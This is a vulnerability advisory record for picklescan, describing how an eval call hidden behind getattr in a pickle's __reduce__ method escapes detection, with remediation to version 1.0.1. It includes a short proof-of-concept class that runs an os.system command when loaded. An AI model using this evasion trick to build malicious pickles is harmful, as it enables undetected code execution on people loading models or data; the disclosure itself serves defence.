---
id: CVE-2026-53874
aliases:
  - GHSA-9m3x-qqw2-h32h
  - PYSEC-2026-1789
title: picklescan missing detection by simple obfuscation of a `builtins.eval` call
summary: picklescan missing detection by simple obfuscation of a `builtins.eval` call
severity: high
vendor: picklescan
product: picklescan
ecosystem: pip
affected:
  - picklescan < 1.0.1
patched:
  - picklescan 1.0.1
published: '2026-02-02'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-9m3x-qqw2-h32h'
references:
  - url: >-
      https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9m3x-qqw2-h32h
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-53874'
  - url: 'https://github.com/mmaitre314/picklescan/pull/59'
  - url: >-
      https://github.com/mmaitre314/picklescan/commit/173c8f2a869ea9b69b543477525ec70611c3c6f4
  - url: 'https://github.com/mmaitre314/picklescan'
  - url: 'https://github.com/mmaitre314/picklescan/releases/tag/v1.0.1'
  - url: >-
      https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-obfuscated-eval-call
tags:
  - osv
  - pip
epss: 0.00757
epssPercentile: 0.53206
ingestedAt: '2026-07-08T18:25:48.041Z'
---

## Overview

### Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.

### Details

It's possible to hide the `eval` call nested under another callable via `getattr`.

### PoC

```python
import builtins

class EvilClass:
    @staticmethod
    def _obfuscated_eval(payload):
        getattr(builtins, "eval")(payload)

    def __reduce__(self):
        payload = "__import__('os').system('echo \"successful attack\"')"
        return self._obfuscated_eval, (payload,)
```


### Impact

Who is impacted? 
Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.

What is the impact? 
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

## Affected packages

- `picklescan < 1.0.1`

## Remediation

Upgrade to a patched release:

- `picklescan 1.0.1`